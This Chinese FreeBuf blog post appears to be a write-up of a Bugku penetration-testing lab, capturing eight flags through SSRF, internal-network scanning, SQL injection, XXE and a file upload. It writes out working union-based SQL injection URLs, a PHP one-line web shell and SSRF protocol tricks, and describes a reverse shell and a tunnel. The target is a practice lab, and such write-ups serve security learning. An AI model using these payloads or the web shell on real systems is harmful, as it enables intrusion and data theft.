freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

记录一次坎坷的打靶经历·三
2023-04-03 22:30:30
所属地 重庆

前言

Bugku的PAR模式,渗透测试3,共8个flag,这次打靶挺轻松,感觉比较简单,一次过,嘿嘿。在此,分享出来笔者的过程,并呈现自己的思考,同时也希望能获得大佬的指点。

过程

image.png

0x01 flag1 (ssrf)

image.png
开启靶场,依旧是给了个ip:80,不过题目给了个打进内网的提示,
先上nmap扫一下
image.png
从80端口开始吧,访问80端口
image.png
一个站点快照获取的功能,其实打过ctf的都知道这应该会有ssrf漏洞,
那么在已知这是一个php站点,且有着ssrf漏洞的情况下,我们应该如何利用呢?

http://:探测内网主机存活、端口开放情况
gopher://:发送GET或POST请求;攻击内网应用,如FastCGI、Redis
dict://:泄露安装软件版本信息,查看端口,操作内网redis访问等
file://:读取本地文件

先利用file协议看一下当前源代码,填入file:///var/www/html/index.php,右键点击查看页面源代码,发现源码
image.png
能看到源码就证明了我们之前的猜想是正确的,那么现在我们就已经可以直接读取当前机子里边的flag了,让我猜猜看,flag在根目录下
image.png

0x02 flag2、flag3(shell.php)

题目给了个提示
image.png
但是暂时不太明白有什么用,继续利用file协议查看一下当前机子的网络信息
image.png
提示有一个192.168.0.2/24网段,填入http://192.168.0.1,然后抓包爆破最后一位数,通过返回包长度来探测局域网内有哪些机子开了80端口
image.png
根据返回长度,可以直接判断出来这个网段里有四台不同的机子,回到web界面,看看http://192.168.0.10的快照
image.png
嘿,这是挂了个黑页是吧,页面源代码也没有什么东西
image.png
用burp抓到获取快照的请求包,然后发送到Intruder爆破一下目录看看,
image.png
根据返回包长度发现那个站点有shell.php文件,根据返回包可以知道该文件大致内容为

<?php system($_GET['cmd']);?>

直接cmd传参执行命令,看看当前目录,和根目录下
image.png
image.png
拿下两个flag
image.png

flag4(sql注入)

还记得之前爆破探测出来的url里还有两台机子,按顺序来,先看看192.168.0.138
image.png
估摸着是sql注入,查看源代码知道这是get传参id
image.png
输入一个1' or 1=1#进去发现有问题
image.png
经过一段时间的fuzz后,发现这个过滤了空格,选用+代替空格从而绕过,先看一下回显点

http://192.168.0.138/?id=-1+and+1=2+union+select+1,2,3,4

image.png
查数据库名

http://192.168.0.138/?id=-1+and+1=2+union+select+1,database(),3,4

image.png
接下来查表名,因为只能显示一行的数据,所以我们需要用order by来获取更多的数据,order by 1查出的表名为double

http://192.168.0.138/?id=-1+and+1=2+union+select+1,database(),3,TABLE_NAME+from+information_schema.tables+where+TABLE_SCHEMA="bugku_sql"+order+by+1

image.png
order by 2 查出的表名为flag,那么flag应该就在这个表里了吧
image.png
继续查列名,比较幸运,order by 1就是flag

http://192.168.0.138/?id=-1+and+1=2+union+select+1,database(),3,COLUMN_NAME+from+information_schema.COLUMNS+where+TABLE_SCHEMA="bugku_sql"+and+TABLE_NAME="double"+order+by+1

image.png
直接出flag

http://192.168.0.138/?id=-1+and+1=2+union+select+1,database(),3,flag+from+bugku_sql.flag

image.png

flag7、flag8(xxe)

最后一台机子是192.168.0.250,获取快照是一个登录界面,通过ssrf去做这个不是很方便,回顾之前有一台被黑了的可以执行任意命令的机子,先看看命令ls /usr/bin
image.png
有wget命令,先从公网vps上下载frpc,想挂一个代理开个socks5隧道,方便后续的操作,结果发现这样,添加不了执行权限
image.png
image.png
看来得先试试反弹shell,在用户命令中看到了nc
使用nc进行shell反弹
image.png
接收到shell后,再给frpc加上执行权限,这次成功了
image.png
顺利搭建隧道,访问192.168.0.250
image.png
尝试一波弱口令admin/admin,登录成功,但是并没有进行跳转,依旧留在了当前页面
image.png
嗯,有点迷,抓包看看返回包
image.png
嘿,你说这个像不像xxe,盲猜flag在当前目录和根目录下,直接读,成功拿下
image.png
image.png

flag5、flag6(内网)

提交完上面的flag后发现这是flag7、和flag8呀,好家伙我的flag5和flag6呢?
image.png
回顾之前的四台机子,只有192.168.0.10这台咱们能拿下shell,要不看看内网?
image.png
果然还有一层网段为10.10.0.5/24
上fscan扫一下,但是扫不出任何信息
image.png
这就有点离谱了,为啥呢,我不理解呜呜呜
之后换了种方式,使用proxychains4转到kali用nmap扫一下
image.png
这下扫出来一台10.10.0.22:80,不过为什么fscan会扫不出来呢,还是不明白
之前已经挂上frp代理开了socks5隧道了,所以浏览器直接访问10.10.0.22:80
image.png
使用kali自带工具dirb扫一波目录,扫出来admin.php,需要登录,依旧是弱口令admin/admin
image.png
登录后跳转到了首页,细心的我们可以发现这是我们已经有了编辑权限
image.png
点击管理
image.png
里边有一个文件夹管理,点进去看看
可以上传文件
image.png
image.png
当前是media目录看看files目录,
image.png
就俩文件,看看.htaccess文件,发现只解析php后缀的文件
image.png
直接上一句话木马加蚁剑,在根目录和网站根目录下拿到最后两个flag
image.png
image.png

总结

到这里就结束了,最后回顾一下整个过程,其实这次的靶场还是比较简单的,不过还是可以从中学到很多东西,收获颇丰。希望师傅们不喜勿喷,感谢。

# 渗透测试 # 网络安全 # web安全 # 内网渗透 # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录